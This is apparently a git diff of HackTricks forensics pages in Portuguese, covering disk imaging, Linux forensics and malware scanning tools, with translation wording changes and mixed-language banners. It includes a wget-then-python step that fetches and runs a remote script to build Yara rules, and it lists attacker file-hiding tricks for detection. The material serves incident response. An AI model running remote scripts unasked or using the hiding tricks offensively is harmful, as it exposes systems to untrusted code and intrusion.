-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -# Baseline +# Linha de Base -Um baseline consiste em tirar uma snapshot de certas partes de um sistema para **compará-lo com um estado futuro e destacar mudanças**. +Uma linha de base consiste em tirar uma instantânea de certas partes de um sistema para **compará-la com um status futuro para destacar mudanças**. Por exemplo, você pode calcular e armazenar o hash de cada arquivo do sistema de arquivos para poder descobrir quais arquivos foram modificados.\ -Isso também pode ser feito com as contas de usuário criadas, processos em execução, serviços em execução e qualquer outra coisa que não deveria mudar muito, ou nada. +Isso também pode ser feito com as contas de usuário criadas, processos em execução, serviços em execução e qualquer outra coisa que não deveria mudar muito, ou de forma alguma. ## Monitoramento de Integridade de Arquivos -O Monitoramento de Integridade de Arquivos (FIM) é uma técnica de segurança crítica que protege ambientes de TI e dados rastreando mudanças em arquivos. Envolve duas etapas-chave: +O Monitoramento de Integridade de Arquivos (FIM) é uma técnica de segurança crítica que protege ambientes de TI e dados ao rastrear mudanças em arquivos. Envolve duas etapas principais: -1. **Comparação de Baseline:** Estabeleça um baseline usando atributos de arquivo ou checksums criptográficos (como MD5 ou SHA-2) para comparações futuras a fim de detectar modificações. -2. **Notificação de Mudanças em Tempo Real:** Receba alertas instantâneos quando arquivos são acessados ou alterados, geralmente por meio de extensões de kernel do sistema operacional. +1. **Comparação de Linha de Base:** Estabelecer uma linha de base usando atributos de arquivo ou somas de verificação criptográficas (como MD5 ou SHA-2) para comparações futuras para detectar modificações. +2. **Notificação de Mudança em Tempo Real:** Receber alertas instantâneos quando arquivos são acessados ou alterados, tipicamente através de extensões do kernel do SO. ## Ferramentas @@ -39,16 +39,16 @@ O Monitoramento de Integridade de Arquivos (FIM) é uma técnica de segurança c {% hint style="success" %} -Aprenda e pratique AWS Hacking:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md b/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md index 008d4183c..2fd495ee8 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md @@ -107,7 +107,7 @@ Disk identifier: 0x00495395 Device Boot Start End Sectors Size Id Type disk.img1 2048 208895 206848 101M 1 FAT12 ``` -Note que o tamanho do setor é **512** e o início é **2048**. Então monte a imagem assim: +Note que o tamanho do setor é **512** e o início é **2048**. Em seguida, monte a imagem assim: ```bash mount disk.img /mnt -o ro,offset=$((2048*512)) ``` @@ -121,11 +121,11 @@ Aprenda e pratique Hacking GCP: -Supporte o HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md b/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md index ca6c2a8ff..b88fc60bf 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md @@ -18,7 +18,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} @@ -86,7 +86,7 @@ LiME também pode ser usado para **enviar o dump via rede** em vez de armazená- #### Desligando Primeiro de tudo, você precisará **desligar o sistema**. Isso nem sempre é uma opção, pois às vezes o sistema será um servidor de produção que a empresa não pode se dar ao luxo de desligar.\ -Existem **2 maneiras** de desligar o sistema, um **desligamento normal** e um **desligamento "puxar o plugue"**. O primeiro permitirá que os **processos terminem normalmente** e o **sistema de arquivos** seja **sincronizado**, mas também permitirá que o possível **malware** **destrua evidências**. A abordagem "puxar o plugue" pode acarretar **alguma perda de informação** (não muita informação será perdida, pois já tiramos uma imagem da memória) e o **malware não terá nenhuma oportunidade** de fazer algo a respeito. Portanto, se você **suspeitar** que pode haver um **malware**, apenas execute o **comando** **`sync`** no sistema e puxe o plugue. +Existem **2 maneiras** de desligar o sistema, um **desligamento normal** e um **desligamento "desconectar da tomada"**. O primeiro permitirá que os **processos sejam encerrados normalmente** e o **sistema de arquivos** seja **sincronizado**, mas também permitirá que o possível **malware** **destrua evidências**. A abordagem "desconectar da tomada" pode acarretar **alguma perda de informação** (não muita informação será perdida, pois já tiramos uma imagem da memória) e o **malware não terá oportunidade** de fazer nada a respeito. Portanto, se você **suspeitar** que pode haver um **malware**, apenas execute o **comando** **`sync`** no sistema e desconecte da tomada. #### Tirando uma imagem do disco @@ -99,7 +99,7 @@ dd if= of= bs=512 dcfldd if= of= bs=512 hash= hashwindow= hashlog= dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes ``` -### Análise pré-imagem do disco +### Análise prévia da imagem do disco Imagens de uma imagem de disco sem mais dados. ```bash @@ -186,7 +186,7 @@ Para pesquisar efetivamente programas instalados em sistemas Debian e RedHat, co * Para Debian, inspecione _**`/var/lib/dpkg/status`**_ e _**`/var/log/dpkg.log`**_ para obter detalhes sobre instalações de pacotes, usando `grep` para filtrar informações específicas. * Usuários do RedHat podem consultar o banco de dados RPM com `rpm -qa --root=/mntpath/var/lib/rpm` para listar pacotes instalados. -Para descobrir software instalado manualmente ou fora desses gerenciadores de pacotes, explore diretórios como _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ e _**`/sbin`**_. Combine listagens de diretórios com comandos específicos do sistema para identificar executáveis não associados a pacotes conhecidos, aprimorando sua busca por todos os programas instalados. +Para descobrir software instalado manualmente ou fora desses gerenciadores de pacotes, explore diretórios como _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, e _**`/sbin`**_. Combine listagens de diretórios com comandos específicos do sistema para identificar executáveis não associados a pacotes conhecidos, aprimorando sua busca por todos os programas instalados. ```bash # Debian package and log details cat /var/lib/dpkg/status | grep -E "Package:|Status:" @@ -206,11 +206,11 @@ find / -type f -executable | grep \ Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas** comunitárias **mais avançadas** do mundo.\ -Obtenha Acesso Hoje: +Acesse hoje: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} -## Recuperar Binários em Execução Deletados +## Recuperar Binários Executáveis Deletados Imagine um processo que foi executado de /tmp/exec e depois deletado. É possível extraí-lo ```bash @@ -258,10 +258,10 @@ Módulos do kernel Linux, frequentemente utilizados por malware como componentes ### Outros Locais de Autostart -O Linux emprega vários arquivos para executar automaticamente programas na entrada do usuário, potencialmente abrigando malware: +O Linux emprega vários arquivos para executar automaticamente programas ao fazer login do usuário, potencialmente abrigando malware: * **/etc/profile.d/**\*, **/etc/profile**, e **/etc/bash.bashrc**: Executados para qualquer login de usuário. -* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, e **\~/.config/autostart**: Arquivos específicos do usuário que são executados em seu login. +* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, e **\~/.config/autostart**: Arquivos específicos do usuário que são executados ao fazer login. * **/etc/rc.local**: Executa após todos os serviços do sistema terem sido iniciados, marcando o fim da transição para um ambiente multiusuário. ## Examinar Logs @@ -272,7 +272,7 @@ Sistemas Linux rastreiam atividades de usuários e eventos do sistema através d * **/var/log/auth.log** (Debian) ou **/var/log/secure** (RedHat): Registram tentativas de autenticação, logins bem-sucedidos e falhados. * Use `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` para filtrar eventos de autenticação relevantes. * **/var/log/boot.log**: Contém mensagens de inicialização do sistema. -* **/var/log/maillog** ou **/var/log/mail.log**: Registra atividades do servidor de e-mail, útil para rastrear serviços relacionados a e-mail. +* **/var/log/maillog** ou **/var/log/mail.log**: Registra atividades do servidor de email, útil para rastrear serviços relacionados a email. * **/var/log/kern.log**: Armazena mensagens do kernel, incluindo erros e avisos. * **/var/log/dmesg**: Contém mensagens do driver de dispositivo. * **/var/log/faillog**: Registra tentativas de login falhadas, auxiliando em investigações de violação de segurança. @@ -311,7 +311,7 @@ Alguns aplicativos também geram seus próprios logs: * **Gnome Desktop**: Verifique _\~/.recently-used.xbel_ para arquivos acessados recentemente via aplicativos Gnome. * **Firefox/Chrome**: Verifique o histórico do navegador e downloads em _\~/.mozilla/firefox_ ou _\~/.config/google-chrome_ para atividades suspeitas. * **VIM**: Revise _\~/.viminfo_ para detalhes de uso, como caminhos de arquivos acessados e histórico de pesquisa. -* **Open Office**: Verifique o acesso recente a documentos que podem indicar arquivos comprometidos. +* **Open Office**: Verifique o acesso recente a documentos que pode indicar arquivos comprometidos. * **FTP/SFTP**: Revise logs em _\~/.ftp\_history_ ou _\~/.sftp\_history_ para transferências de arquivos que podem ser não autorizadas. * **MySQL**: Investigue _\~/.mysql\_history_ para consultas MySQL executadas, potencialmente revelando atividades não autorizadas no banco de dados. * **Less**: Analise _\~/.lesshst_ para histórico de uso, incluindo arquivos visualizados e comandos executados. @@ -341,7 +341,7 @@ Mais exemplos e informações dentro do github: [https://github.com/snovvcrash/u
\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas** comunitárias **mais avançadas** do mundo.\ +Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas comunitárias mais avançadas** do mundo.\ Acesse hoje: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} @@ -350,9 +350,9 @@ Acesse hoje: Examine o _**/etc/passwd**_, _**/etc/shadow**_ e **logs de segurança** em busca de nomes ou contas incomuns criadas e ou usadas em estreita proximidade com eventos não autorizados conhecidos. Além disso, verifique possíveis ataques de força bruta sudo.\ Além disso, verifique arquivos como _**/etc/sudoers**_ e _**/etc/groups**_ em busca de privilégios inesperados concedidos a usuários.\ -Finalmente, procure contas com **senhas ausentes** ou **senhas facilmente adivinháveis**. +Finalmente, procure contas com **sem senhas** ou **senhas facilmente adivinháveis**. -## Examinar Sistema de Arquivos +## Examinar o Sistema de Arquivos ### Analisando Estruturas de Sistema de Arquivos em Investigações de Malware @@ -360,7 +360,7 @@ Ao investigar incidentes de malware, a estrutura do sistema de arquivos é uma f Para combater esses métodos anti-forenses, é essencial: -* **Realizar uma análise de linha do tempo completa** usando ferramentas como **Autopsy** para visualizar linhas do tempo de eventos ou `mactime` do **Sleuth Kit** para dados de linha do tempo detalhados. +* **Realizar uma análise de linha do tempo completa** usando ferramentas como **Autopsy** para visualizar linhas do tempo de eventos ou `mactime` do **Sleuth Kit** para dados detalhados de linha do tempo. * **Investigar scripts inesperados** no $PATH do sistema, que podem incluir scripts shell ou PHP usados por atacantes. * **Examinar `/dev` em busca de arquivos atípicos**, pois tradicionalmente contém arquivos especiais, mas pode abrigar arquivos relacionados a malware. * **Procurar arquivos ou diretórios ocultos** com nomes como ".. " (ponto ponto espaço) ou "..^G" (ponto ponto controle-G), que podem ocultar conteúdo malicioso. @@ -413,7 +413,7 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ * [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf) * [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) * [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203) -* **Livro: Guia de Campo de Análise Forense de Malware para Sistemas Linux: Guias de Campo de Análise Digital** +* **Livro: Guia de Campo de Forense de Malware para Sistemas Linux: Guias de Campo de Forense Digital** {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -421,11 +421,11 @@ Aprenda e pratique Hacking GCP: -Support HackTricks +Suporte ao HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} @@ -433,7 +433,7 @@ Aprenda e pratique Hacking GCP:
\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas comunitárias mais avançadas** do mundo.\ +Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas** comunitárias **mais avançadas** do mundo.\ Obtenha Acesso Hoje: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md b/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md index d17f13cd1..9e136e335 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md @@ -1,55 +1,55 @@ # Análise de Malware {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) \ -Aprenda e pratique GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -- Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -- **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -- **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} -## Folhas de Dicas de Forense +## Cheatsheets de Forense [https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/) ## Serviços Online -- [VirusTotal](https://www.virustotal.com/gui/home/upload) -- [HybridAnalysis](https://www.hybrid-analysis.com) -- [Koodous](https://koodous.com) -- [Intezer](https://analyze.intezer.com) -- [Any.Run](https://any.run/) +* [VirusTotal](https://www.virustotal.com/gui/home/upload) +* [HybridAnalysis](https://www.hybrid-analysis.com) +* [Koodous](https://koodous.com) +* [Intezer](https://analyze.intezer.com) +* [Any.Run](https://any.run/) -## Ferramentas Offline de Antivírus e Detecção +## Ferramentas de Antivírus e Detecção Offline ### Yara -#### Instalação +#### Instalar ```bash sudo apt-get install -y yara ``` -#### Preparar regras +#### Prepare regras -Utilize este script para baixar e mesclar todas as regras de malware yara do github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ +Use este script para baixar e mesclar todas as regras yara de malware do github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ Crie o diretório _**rules**_ e execute-o. Isso criará um arquivo chamado _**malware\_rules.yar**_ que contém todas as regras yara para malware. ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules python malware_yara_rules.py ``` -#### Verificação +#### Escanear ```bash yara -w malware_rules.yar image #Scan 1 file yara -w malware_rules.yar folder #Scan the whole folder ``` -#### YaraGen: Verificar malware e Criar regras +#### YaraGen: Verifique se há malware e crie regras Você pode usar a ferramenta [**YaraGen**](https://github.com/Neo23x0/yarGen) para gerar regras yara a partir de um binário. Confira estes tutoriais: [**Parte 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Parte 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Parte 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) ```bash @@ -58,11 +58,11 @@ python3.exe yarGen.py --excludegood -m ../../mals/ ``` ### ClamAV -#### Instalação +#### Instalar ``` sudo apt-get install -y clamav ``` -#### Verificação +#### Escanear ```bash sudo freshclam #Update rules clamscan filepath #Scan 1 file @@ -70,25 +70,25 @@ clamscan folderpath #Scan the whole folder ``` ### [Capa](https://github.com/mandiant/capa) -**Capa** detecta potencialmente **capacidades maliciosas** em executáveis: PE, ELF, .NET. Portanto, ele encontrará coisas como táticas Att\&ck, ou capacidades suspeitas como: +**Capa** detecta **capacidades** potencialmente maliciosas em executáveis: PE, ELF, .NET. Portanto, encontrará coisas como táticas do Att\&ck, ou capacidades suspeitas como: -- verificar erro de OutputDebugString -- executar como um serviço -- criar processo +* verificar erro de OutputDebugString +* executar como um serviço +* criar processo Obtenha no [**repositório do Github**](https://github.com/mandiant/capa). ### IOCs -IOC significa Indicador de Comprometimento. Um IOC é um conjunto de **condições que identificam** algum software potencialmente indesejado ou **malware** confirmado. As equipes de Blue Team usam esse tipo de definição para **procurar por esse tipo de arquivos maliciosos** em seus **sistemas** e **redes**.\ -Compartilhar essas definições é muito útil, pois quando um malware é identificado em um computador e um IOC para esse malware é criado, outras equipes de Blue Team podem usá-lo para identificar o malware mais rapidamente. +IOC significa Indicador de Compromisso. Um IOC é um conjunto de **condições que identificam** algum software potencialmente indesejado ou **malware** confirmado. As Blue Teams usam esse tipo de definição para **procurar por esse tipo de arquivos maliciosos** em seus **sistemas** e **redes**.\ +Compartilhar essas definições é muito útil, pois quando o malware é identificado em um computador e um IOC para esse malware é criado, outras Blue Teams podem usá-lo para identificar o malware mais rapidamente. -Uma ferramenta para criar ou modificar IOCs é o [**Editor de IOC**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ -Você pode usar ferramentas como o [**Redline**](https://www.fireeye.com/services/freeware/redline.html) para **procurar por IOCs definidos em um dispositivo**. +Uma ferramenta para criar ou modificar IOCs é o [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ +Você pode usar ferramentas como [**Redline**](https://www.fireeye.com/services/freeware/redline.html) para **procurar por IOCs definidos em um dispositivo**. ### Loki -[**Loki**](https://github.com/Neo23x0/Loki) é um scanner para Indicadores Simples de Comprometimento.\ +[**Loki**](https://github.com/Neo23x0/Loki) é um scanner para Indicadores Simples de Compromisso.\ A detecção é baseada em quatro métodos de detecção: ``` 1. File Name IOC @@ -105,7 +105,7 @@ Compares process connection endpoints with C2 IOCs (new since version v.10) ``` ### Linux Malware Detect -[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) é um scanner de malware para Linux lançado sob a licença GNU GPLv2, projetado em torno das ameaças enfrentadas em ambientes de hospedagem compartilhada. Ele utiliza dados de ameaças de sistemas de detecção de intrusão na borda da rede para extrair malware que está sendo ativamente usado em ataques e gera assinaturas para detecção. Além disso, os dados de ameaças também são derivados de envios de usuários com o recurso de checkout do LMD e de recursos da comunidade de malware. +[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) é um scanner de malware para Linux lançado sob a licença GNU GPLv2, que é projetado em torno das ameaças enfrentadas em ambientes de hospedagem compartilhada. Ele usa dados de ameaças de sistemas de detecção de intrusões na borda da rede para extrair malware que está sendo ativamente utilizado em ataques e gera assinaturas para detecção. Além disso, os dados de ameaças também são derivados de envios de usuários com o recurso de checkout do LMD e recursos da comunidade de malware. ### rkhunter @@ -119,11 +119,11 @@ sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--sk ### PEpper -[PEpper](https://github.com/Th3Hurrican3/PEpper) verifica algumas coisas básicas dentro do executável (dados binários, entropia, URLs e IPs, algumas regras yara). +[PEpper](https://github.com/Th3Hurrican3/PEpper) verifica algumas informações básicas dentro do executável (dados binários, entropia, URLs e IPs, algumas regras yara). ### PEstudio -[PEstudio](https://www.winitor.com/download) é uma ferramenta que permite obter informações de executáveis do Windows, como imports, exports, headers, mas também verificar o virus total e encontrar potenciais técnicas Att\&ck. +[PEstudio](https://www.winitor.com/download) é uma ferramenta que permite obter informações de executáveis do Windows, como imports, exports, cabeçalhos, mas também verificará o virus total e encontrará técnicas potenciais do Att\&ck. ### Detect It Easy(DiE) @@ -131,15 +131,15 @@ sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--sk ### NeoPI -[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI) é um script Python que usa uma variedade de **métodos estatísticos** para detectar conteúdo **ofuscado** e **criptografado** em arquivos de texto/script. O objetivo do NeoPI é auxiliar na **detecção de códigos de shell web ocultos**. +[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI) é um script em Python que usa uma variedade de **métodos estatísticos** para detectar conteúdo **ofuscado** e **criptografado** dentro de arquivos de texto/script. O objetivo pretendido do NeoPI é ajudar na **detecção de código de shell web oculto**. ### **php-malware-finder** -[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) faz o melhor possível para detectar código **ofuscado**/**suspeito** e arquivos que usam funções **PHP** frequentemente usadas em **malwares**/webshells. +[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) faz o seu melhor para detectar **código ofuscado**/**suspeito**, bem como arquivos que usam funções **PHP** frequentemente utilizadas em **malwares**/webshells. -### Assinaturas Binárias da Apple +### Apple Binary Signatures -Ao verificar alguma **amostra de malware**, você sempre deve **verificar a assinatura** do binário, pois o **desenvolvedor** que o assinou pode estar **relacionado** a **malwares**. +Ao verificar alguma **amostra de malware**, você deve sempre **verificar a assinatura** do binário, pois o **desenvolvedor** que o assinou pode já estar **relacionado** com **malware.** ```bash #Get signer codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" @@ -154,27 +154,27 @@ spctl --assess --verbose /Applications/Safari.app ### Empilhamento de Arquivos -Se você souber que alguma pasta contendo os **arquivos** de um servidor web foi **atualizada pela última vez em alguma data**. **Verifique** a **data** em que todos os **arquivos** no **servidor web foram criados e modificados** e se alguma data for **suspeita**, verifique esse arquivo. +Se você sabe que alguma pasta contendo os **arquivos** de um servidor web foi **atualizada pela última vez em alguma data**. **Verifique** a **data** em que todos os **arquivos** no **servidor web foram criados e modificados** e se alguma data é **suspeita**, verifique esse arquivo. ### Linhas de Base -Se os arquivos de uma pasta **não deveriam ter sido modificados**, você pode calcular o **hash** dos **arquivos originais** da pasta e **compará-los** com os **atuais**. Qualquer modificação será **suspeita**. +Se os arquivos de uma pasta **não deveriam ter sido modificados**, você pode calcular o **hash** dos **arquivos originais** da pasta e **compará-los** com os **atuais**. Qualquer coisa modificada será **suspeita**. ### Análise Estatística Quando as informações são salvas em logs, você pode **verificar estatísticas como quantas vezes cada arquivo de um servidor web foi acessado, pois um web shell pode ser um dos mais**. {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
